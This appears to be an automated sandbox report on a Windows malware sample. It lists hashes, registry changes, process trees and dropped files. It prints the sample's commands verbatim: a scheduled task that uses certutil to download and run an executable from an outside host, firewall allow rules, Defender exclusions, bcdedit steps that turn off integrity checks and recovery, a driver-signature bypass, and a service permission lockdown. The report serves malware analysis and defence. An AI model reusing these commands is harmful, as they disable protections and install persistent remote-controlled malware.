Analysis
-
max time kernel
102s -
max time network
150s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
25-11-2020 06:50
Static task
static1
Behavioral task
behavioral1
Sample
dbdc04946fa3c9c7194da3e2ffd86523.exe
Resource
win7v20201028
Behavioral task
behavioral2
Sample
dbdc04946fa3c9c7194da3e2ffd86523.exe
Resource
win10v20201028
General
-
Target
dbdc04946fa3c9c7194da3e2ffd86523.exe
-
Size
3.8MB
-
MD5
dbdc04946fa3c9c7194da3e2ffd86523
-
SHA1
9b34bff78d9591ecd3ca928c54cc02d97dd42c32
-
SHA256
6651e6156af086e120114fb83b10af8b07acac4b73998cf5758bb5fe17677bfc
-
SHA512
0a535dec2a86039a97fb9f77e5efecba52d730584cd9b4fb6caac4152462641bd9845a72a7d72ce6cd3ab33c278cd449ce99e4c4a1eb1871dfd2fb6f82a34f30
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
Processes:
svchost.exedescription pid process target process PID 940 created 3980 940 svchost.exe dbdc04946fa3c9c7194da3e2ffd86523.exe PID 940 created 3196 940 svchost.exe csrss.exe PID 940 created 3196 940 svchost.exe csrss.exe PID 940 created 3196 940 svchost.exe csrss.exe PID 940 created 3196 940 svchost.exe csrss.exe -
Modifies boot configuration data using bcdedit 15 IoCs
Processes:
bcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exepid process 2064 bcdedit.exe 4088 bcdedit.exe 1120 bcdedit.exe 8 bcdedit.exe 504 bcdedit.exe 3816 bcdedit.exe 3928 bcdedit.exe 3976 bcdedit.exe 1764 bcdedit.exe 3788 bcdedit.exe 2432 bcdedit.exe 4080 bcdedit.exe 2140 bcdedit.exe 1316 bcdedit.exe 8 bcdedit.exe -
Drops file in Drivers directory 2 IoCs
Processes:
dsefix.execsrss.exedescription ioc process File created C:\Windows\system32\drivers\VBoxDrv.sys dsefix.exe File created C:\Windows\System32\drivers\Winmon.sys csrss.exe -
Executes dropped EXE 5 IoCs
Processes:
csrss.exepatch.exedsefix.exewindefender.exewindefender.exepid process 3196 csrss.exe 2764 patch.exe 3704 dsefix.exe 2888 windefender.exe 752 windefender.exe -
Modifies Windows Firewall 1 TTPs
-
Processes:
resource yara_rule C:\Windows\windefender.exe upx C:\Windows\windefender.exe upx behavioral2/memory/2888-47-0x0000000000400000-0x0000000000897000-memory.dmp upx C:\Windows\windefender.exe upx -
Loads dropped DLL 4 IoCs
Processes:
patch.exepid process 2764 patch.exe 2764 patch.exe 2764 patch.exe 2764 patch.exe -
Processes:
dbdc04946fa3c9c7194da3e2ffd86523.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" dbdc04946fa3c9c7194da3e2ffd86523.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" dbdc04946fa3c9c7194da3e2ffd86523.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" dbdc04946fa3c9c7194da3e2ffd86523.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" dbdc04946fa3c9c7194da3e2ffd86523.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" dbdc04946fa3c9c7194da3e2ffd86523.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\YoungWater = "0" dbdc04946fa3c9c7194da3e2ffd86523.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" dbdc04946fa3c9c7194da3e2ffd86523.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" dbdc04946fa3c9c7194da3e2ffd86523.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" dbdc04946fa3c9c7194da3e2ffd86523.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\dbdc04946fa3c9c7194da3e2ffd86523.exe = "0" dbdc04946fa3c9c7194da3e2ffd86523.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
dbdc04946fa3c9c7194da3e2ffd86523.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\YoungWater = "\"C:\\Windows\\rss\\csrss.exe\"" dbdc04946fa3c9c7194da3e2ffd86523.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops file in Windows directory 4 IoCs
Processes:
dbdc04946fa3c9c7194da3e2ffd86523.execsrss.exedescription ioc process File opened for modification C:\Windows\rss dbdc04946fa3c9c7194da3e2ffd86523.exe File created C:\Windows\rss\csrss.exe dbdc04946fa3c9c7194da3e2ffd86523.exe File created C:\Windows\windefender.exe csrss.exe File opened for modification C:\Windows\windefender.exe csrss.exe -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies data under HKEY_USERS 520 IoCs
Processes:
windefender.execsrss.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-402 = "Arabic Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-112 = "Eastern Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2792 = "Novosibirsk Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-141 = "Canada Central Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-91 = "Pacific SA Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1412 = "Syria Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2631 = "Norfolk Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-361 = "GTB Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2572 = "Turks and Caicos Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1831 = "Russia TZ 2 Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-221 = "Alaskan Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1662 = "Bahia Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-681 = "E. Australia Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2412 = "Marquesas Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1911 = "Russia TZ 10 Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-331 = "E. Europe Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-271 = "Greenwich Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-891 = "Morocco Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-512 = "Central Asia Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-341 = "Egypt Daylight Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-772 = "Montevideo Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2791 = "Novosibirsk Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1722 = "Libya Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-252 = "Dateline Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-842 = "Argentina Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-451 = "Caucasus Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1471 = "Magadan Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2432 = "Cuba Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2571 = "Turks and Caicos Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-651 = "AUS Central Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1802 = "Line Islands Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2612 = "Bougainville Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1831 = "Russia TZ 2 Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-601 = "Taipei Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2061 = "North Korea Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2341 = "Haiti Daylight Time" windefender.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
Processes:
dbdc04946fa3c9c7194da3e2ffd86523.exedbdc04946fa3c9c7194da3e2ffd86523.execsrss.exepid process 3980 dbdc04946fa3c9c7194da3e2ffd86523.exe 3980 dbdc04946fa3c9c7194da3e2ffd86523.exe 696 dbdc04946fa3c9c7194da3e2ffd86523.exe 696 dbdc04946fa3c9c7194da3e2ffd86523.exe 3196 csrss.exe 3196 csrss.exe 3196 csrss.exe 3196 csrss.exe -
Suspicious behavior: LoadsDriver 2 IoCs
Processes:
pid process 624 624 -
Suspicious use of AdjustPrivilegeToken 23 IoCs
Processes:
dbdc04946fa3c9c7194da3e2ffd86523.exesvchost.execsrss.exesc.exedescription pid process Token: SeDebugPrivilege 3980 dbdc04946fa3c9c7194da3e2ffd86523.exe Token: SeImpersonatePrivilege 3980 dbdc04946fa3c9c7194da3e2ffd86523.exe Token: SeTcbPrivilege 940 svchost.exe Token: SeTcbPrivilege 940 svchost.exe Token: SeBackupPrivilege 940 svchost.exe Token: SeRestorePrivilege 940 svchost.exe Token: SeBackupPrivilege 940 svchost.exe Token: SeRestorePrivilege 940 svchost.exe Token: SeBackupPrivilege 940 svchost.exe Token: SeRestorePrivilege 940 svchost.exe Token: SeBackupPrivilege 940 svchost.exe Token: SeRestorePrivilege 940 svchost.exe Token: SeSystemEnvironmentPrivilege 3196 csrss.exe Token: SeBackupPrivilege 940 svchost.exe Token: SeRestorePrivilege 940 svchost.exe Token: SeBackupPrivilege 940 svchost.exe Token: SeRestorePrivilege 940 svchost.exe Token: SeBackupPrivilege 940 svchost.exe Token: SeRestorePrivilege 940 svchost.exe Token: SeSecurityPrivilege 2216 sc.exe Token: SeSecurityPrivilege 2216 sc.exe Token: SeBackupPrivilege 940 svchost.exe Token: SeRestorePrivilege 940 svchost.exe -
Suspicious use of WriteProcessMemory 57 IoCs
Processes:
svchost.exedbdc04946fa3c9c7194da3e2ffd86523.execmd.exepatch.execsrss.exewindefender.execmd.exedescription pid process target process PID 940 wrote to memory of 696 940 svchost.exe dbdc04946fa3c9c7194da3e2ffd86523.exe PID 940 wrote to memory of 696 940 svchost.exe dbdc04946fa3c9c7194da3e2ffd86523.exe PID 940 wrote to memory of 696 940 svchost.exe dbdc04946fa3c9c7194da3e2ffd86523.exe PID 696 wrote to memory of 4064 696 dbdc04946fa3c9c7194da3e2ffd86523.exe cmd.exe PID 696 wrote to memory of 4064 696 dbdc04946fa3c9c7194da3e2ffd86523.exe cmd.exe PID 4064 wrote to memory of 2080 4064 cmd.exe netsh.exe PID 4064 wrote to memory of 2080 4064 cmd.exe netsh.exe PID 696 wrote to memory of 3196 696 dbdc04946fa3c9c7194da3e2ffd86523.exe csrss.exe PID 696 wrote to memory of 3196 696 dbdc04946fa3c9c7194da3e2ffd86523.exe csrss.exe PID 696 wrote to memory of 3196 696 dbdc04946fa3c9c7194da3e2ffd86523.exe csrss.exe PID 940 wrote to memory of 204 940 svchost.exe schtasks.exe PID 940 wrote to memory of 204 940 svchost.exe schtasks.exe PID 940 wrote to memory of 2568 940 svchost.exe schtasks.exe PID 940 wrote to memory of 2568 940 svchost.exe schtasks.exe PID 940 wrote to memory of 2764 940 svchost.exe patch.exe PID 940 wrote to memory of 2764 940 svchost.exe patch.exe PID 2764 wrote to memory of 2064 2764 patch.exe bcdedit.exe PID 2764 wrote to memory of 2064 2764 patch.exe bcdedit.exe PID 2764 wrote to memory of 4088 2764 patch.exe bcdedit.exe PID 2764 wrote to memory of 4088 2764 patch.exe bcdedit.exe PID 2764 wrote to memory of 1120 2764 patch.exe bcdedit.exe PID 2764 wrote to memory of 1120 2764 patch.exe bcdedit.exe PID 2764 wrote to memory of 8 2764 patch.exe bcdedit.exe PID 2764 wrote to memory of 8 2764 patch.exe bcdedit.exe PID 2764 wrote to memory of 504 2764 patch.exe bcdedit.exe PID 2764 wrote to memory of 504 2764 patch.exe bcdedit.exe PID 2764 wrote to memory of 3816 2764 patch.exe bcdedit.exe PID 2764 wrote to memory of 3816 2764 patch.exe bcdedit.exe PID 2764 wrote to memory of 3928 2764 patch.exe bcdedit.exe PID 2764 wrote to memory of 3928 2764 patch.exe bcdedit.exe PID 2764 wrote to memory of 3976 2764 patch.exe bcdedit.exe PID 2764 wrote to memory of 3976 2764 patch.exe bcdedit.exe PID 2764 wrote to memory of 1764 2764 patch.exe bcdedit.exe PID 2764 wrote to memory of 1764 2764 patch.exe bcdedit.exe PID 2764 wrote to memory of 3788 2764 patch.exe bcdedit.exe PID 2764 wrote to memory of 3788 2764 patch.exe bcdedit.exe PID 2764 wrote to memory of 2432 2764 patch.exe bcdedit.exe PID 2764 wrote to memory of 2432 2764 patch.exe bcdedit.exe PID 2764 wrote to memory of 4080 2764 patch.exe bcdedit.exe PID 2764 wrote to memory of 4080 2764 patch.exe bcdedit.exe PID 2764 wrote to memory of 2140 2764 patch.exe bcdedit.exe PID 2764 wrote to memory of 2140 2764 patch.exe bcdedit.exe PID 2764 wrote to memory of 1316 2764 patch.exe bcdedit.exe PID 2764 wrote to memory of 1316 2764 patch.exe bcdedit.exe PID 3196 wrote to memory of 8 3196 csrss.exe bcdedit.exe PID 3196 wrote to memory of 8 3196 csrss.exe bcdedit.exe PID 3196 wrote to memory of 3704 3196 csrss.exe dsefix.exe PID 3196 wrote to memory of 3704 3196 csrss.exe dsefix.exe PID 940 wrote to memory of 2888 940 svchost.exe windefender.exe PID 940 wrote to memory of 2888 940 svchost.exe windefender.exe PID 940 wrote to memory of 2888 940 svchost.exe windefender.exe PID 2888 wrote to memory of 2444 2888 windefender.exe cmd.exe PID 2888 wrote to memory of 2444 2888 windefender.exe cmd.exe PID 2888 wrote to memory of 2444 2888 windefender.exe cmd.exe PID 2444 wrote to memory of 2216 2444 cmd.exe sc.exe PID 2444 wrote to memory of 2216 2444 cmd.exe sc.exe PID 2444 wrote to memory of 2216 2444 cmd.exe sc.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\dbdc04946fa3c9c7194da3e2ffd86523.exe"C:\Users\Admin\AppData\Local\Temp\dbdc04946fa3c9c7194da3e2ffd86523.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\dbdc04946fa3c9c7194da3e2ffd86523.exe"C:\Users\Admin\AppData\Local\Temp\dbdc04946fa3c9c7194da3e2ffd86523.exe"2⤵
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://thebabsite.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 05⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 15⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -timeout 05⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set bootmenupolicy legacy5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\System32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
-
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exeC:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe4⤵
- Drops file in Drivers directory
- Executes dropped EXE
-
C:\Windows\windefender.exe"C:\Windows\windefender.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)6⤵
- Suspicious use of AdjustPrivilegeToken
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\windefender.exeC:\Windows\windefender.exe1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exeMD5
d98e78fd57db58a11f880b45bb659767
SHA1ab70c0d3bd9103c07632eeecee9f51d198ed0e76
SHA256414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0
SHA512aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831
-
